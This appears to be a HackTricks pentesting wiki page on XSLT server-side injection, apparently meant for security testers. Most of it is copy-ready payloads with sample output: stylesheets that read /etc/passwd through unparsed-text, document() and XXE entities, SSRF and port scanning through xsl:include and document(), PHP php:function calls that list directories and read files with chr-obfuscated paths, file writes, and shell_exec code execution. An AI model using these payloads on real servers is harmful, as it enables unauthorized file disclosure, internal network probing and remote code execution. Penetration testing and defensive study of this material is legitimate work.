HackTricks
Search…
Pentesting
Powered By GitBook
XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)
It is used to transform XML documents in another kind. Versions: 1, 2 and 3 (1 is the most used). The transformation can be done in the server or in the browser).
The most used frameworks are: Libxslt (Gnome), Xalan (Apache) and Saxon (Saxonica).
In order to exploit this kind of vulnerability you need to be able to store xsl tags in the server side and then access that content. An example of this kind of vulnerability can be found on https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/

Example - Tutorial

1
sudo apt-get install default-jdk
2
sudo apt-get install libsaxonb-java
Copied!
xml.xml
1
<?xml version="1.0" encoding="UTF-8"?>
2
<catalog>
3
<cd>
4
<title>CD Title</title>
5
<artist>The artist</artist>
6
<company>Da Company</company>
7
<price>10000</price>
8
<year>1760</year>
9
</cd>
10
</catalog>
Copied!
xsl.xsl
1
<?xml version="1.0" encoding="UTF-8"?>
2
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
3
<xsl:template match="/">
4
<html>
5
<body>
6
<h2>The Super title</h2>
7
<table border="1">
8
<tr bgcolor="#9acd32">
9
<th>Title</th>
10
<th>artist</th>
11
</tr>
12
<tr>
13
<td><xsl:value-of select="catalog/cd/title"/></td>
14
<td><xsl:value-of select="catalog/cd/artist"/></td>
15
</tr>
16
</table>
17
</body>
18
</html>
19
</xsl:template>
20
</xsl:stylesheet>
Copied!
Execute:
1
$ saxonb-xslt -xsl:xsl.xsl xml.xml
2
3
Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
4
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
5
<html>
6
<body>
7
<h2>The Super title</h2>
8
<table border="1">
9
<tr bgcolor="#9acd32">
10
<th>Title</th>
11
<th>artist</th>
12
</tr>
13
<tr>
14
<td>CD Title</td>
15
<td>The artist</td>
16
</tr>
17
</table>
18
</body>
19
</html>
Copied!

Fingerprint

detection.xsl
1
<?xml version="1.0" encoding="UTF-8"?>
2
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
3
<xsl:output method="html"/>
4
<xsl:template match="/">
5
<h2>XSLT identification</h2>
6
<b>Version:</b> <xsl:value-of select="system-property('xsl:version')"/><br/>
7
<b>Vendor:</b> <xsl:value-of select="system-property('xsl:vendor')" /><br/>
8
<b>Vendor URL:</b><xsl:value-of select="system-property('xsl:vendor-url')" /><br/>
9
</xsl:template>
10
</xsl:stylesheet>
Copied!
And execute
1
$saxonb-xslt -xsl:detection.xsl xml.xml
2
3
Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
4
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
5
<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>
Copied!

Read Local File

read.xsl
1
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
2
<xsl:template match="/">
3
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
4
</xsl:template>
5
</xsl:stylesheet>
Copied!
1
$ saxonb-xslt -xsl:read.xsl xml.xml
2
3
Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
4
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
5
<?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash
6
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
7
bin:x:2:2:bin:/bin:/usr/sbin/nologin
8
sys:x:3:3:sys:/dev:/usr/sbin/nologin
9
sync:x:4:65534:sync:/bin:/bin/sync
10
games:x:5:60:games:/usr/games:/usr/sbin/nologin
11
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
12
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
Copied!

SSRF

1
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
2
<xsl:include href="http://127.0.0.1:8000/xslt"/>
3
<xsl:template match="/">
4
</xsl:template>
5
</xsl:stylesheet>
Copied!

Versions

There might be more or less functions depending on the XSLT version used:

Fingerprint

Upload this and take information
1
<?xml version="1.0" encoding="ISO-8859-1"?>
2
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
3
<xsl:template match="/">
4
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
5
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
6
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
7
<xsl:if test="system-property('xsl:product-name')">
8
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
9
</xsl:if>
10
<xsl:if test="system-property('xsl:product-version')">
11
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
12
</xsl:if>
13
<xsl:if test="system-property('xsl:is-schema-aware')">
14
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
15
</xsl:if>
16
<xsl:if test="system-property('xsl:supports-serialization')">
17
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
18
/><br />
19
</xsl:if>
20
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
21
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
22
/><br />
23
</xsl:if>
24
</xsl:template>
25
</xsl:stylesheet>
Copied!

SSRF

1
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
2
</esi:include>
Copied!

Javascript Injection

1
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
2
<xsl:template match="/">
3
<script>confirm("We're good");</script>
4
</xsl:template>
5
</xsl:stylesheet>
Copied!

Directory listing (PHP)

Opendir + readdir

1
<?xml version="1.0" encoding="utf-8"?>
2
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
3
<xsl:template match="/">
4
<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
5
<xsl:value-of select="php:function('readdir')"/> -
6
<xsl:value-of select="php:function('readdir')"/> -
7
<xsl:value-of select="php:function('readdir')"/> -
8
<xsl:value-of select="php:function('readdir')"/> -
9
<xsl:value-of select="php:function('readdir')"/> -
10
<xsl:value-of select="php:function('readdir')"/> -
11
<xsl:value-of select="php:function('readdir')"/> -
12
<xsl:value-of select="php:function('readdir')"/> -
13
<xsl:value-of select="php:function('readdir')"/> -
14
</xsl:template></xsl:stylesheet>
Copied!

Assert (var_dump + scandir + false)

1
<?xml version="1.0" encoding="UTF-8"?>
2
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
3
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
4
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
5
<br />
6
</body>
7
</html>
Copied!

Read files

Internal - PHP

1
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
2
<xsl:template match="/">
3
<xsl:value-of select="unparsed-text('/etc/passwd', ‘utf-8')"/>
4
</xsl:template>
5
</xsl:stylesheet>
Copied!

Internal - XXE

1
<?xml version="1.0" encoding="utf-8"?>
2
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
3
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
4
<xsl:template match="/">
5
&ext_file;
6
</xsl:template>
7
</xsl:stylesheet>
Copied!

Through HTTP

1
<?xml version="1.0" encoding="utf-8"?>
2
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
3
<xsl:template match="/">
4
<xsl:value-of select="document('/etc/passwd')"/>
5
</xsl:template>
6
</xsl:stylesheet>
Copied!
1
<!DOCTYPE xsl:stylesheet [
2
<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
3
<xsl:template match="/">
4
&passwd;
5
</xsl:template>
Copied!

Internal (PHP-function)

1
<?xml version="1.0" encoding="utf-8"?>
2
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
3
<xsl:template match="/">
4
<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
5
</xsl:template>
6
</xsl:stylesheet>
Copied!
1
<?xml version="1.0" encoding="UTF-8"?>
2
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
3
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
4
<xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
5
<br />
6
</body>
7
</html>
Copied!

Port scan

1
<?xml version="1.0" encoding="utf-8"?>
2
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
3
<xsl:template match="/">
4
<xsl:value-of select="document('http://example.com:22')"/>
5
</xsl:template>
6
</xsl:stylesheet>
Copied!

Write to a file

XSLT 2.0

1
<?xml version="1.0" encoding="utf-8"?>
2
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
3
<xsl:template match="/">
4
<xsl:result-document href="local_file.txt">
5
<xsl:text>Write Local File</xsl:text>
6
</xsl:result-document>
7
</xsl:template>
8
</xsl:stylesheet>
Copied!

Xalan-J extension

1
<xsl:template match="/">
2
<redirect:open file="local_file.txt"/>
3
<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
4
<redirect:close file="loxal_file.txt"/>
5
</xsl:template>
Copied!
Other ways to write files in the PDF

Include external XSL

1
<xsl:include href="http://extenal.web/external.xsl"/>
Copied!
1
<?xml version="1.0" ?>
2
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>
Copied!

Execute code

php:function

1
<?xml version="1.0" encoding="utf-8"?>
2
<xsl:stylesheet version="1.0"
3
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
4
xmlns:php="http://php.net/xsl" >
5
<xsl:template match="/">
6
<xsl:value-of select="php:function('shell_exec','sleep 10')" />
7
</xsl:template>
8
</xsl:stylesheet>
Copied!
1
<?xml version="1.0" encoding="UTF-8"?>
2
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
3
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
4
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
5
<br />
6
</body>
7
</html>
Copied!
Execute code using other frameworks in the PDF

More Languages

In this page you can find examples of RCE in other languajes: https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET (C#, Java, PHP)

Access PHP static functions from classes

The following function will call the static method stringToUrl of the class XSL:
1
<!--- More complex test to call php class function-->
2
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
3
version="1.0">
4
<xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
5
<xsl:template match="root">
6
<html>
7
<!-- We use the php suffix to call the static class function stringToUrl() -->
8
<xsl:value-of select="php:function('XSL::stringToUrl','une_superstring-àÔ|modifier')" />
9
<!-- Output: 'une_superstring ao modifier' -->
10
</html>
11
</xsl:template>
12
</xsl:stylesheet>
Copied!

Brute-Force Detection List

Auto_Wordlists/xslt.txt at main · carlospolop/Auto_Wordlists
GitHub

References

Last modified 2mo ago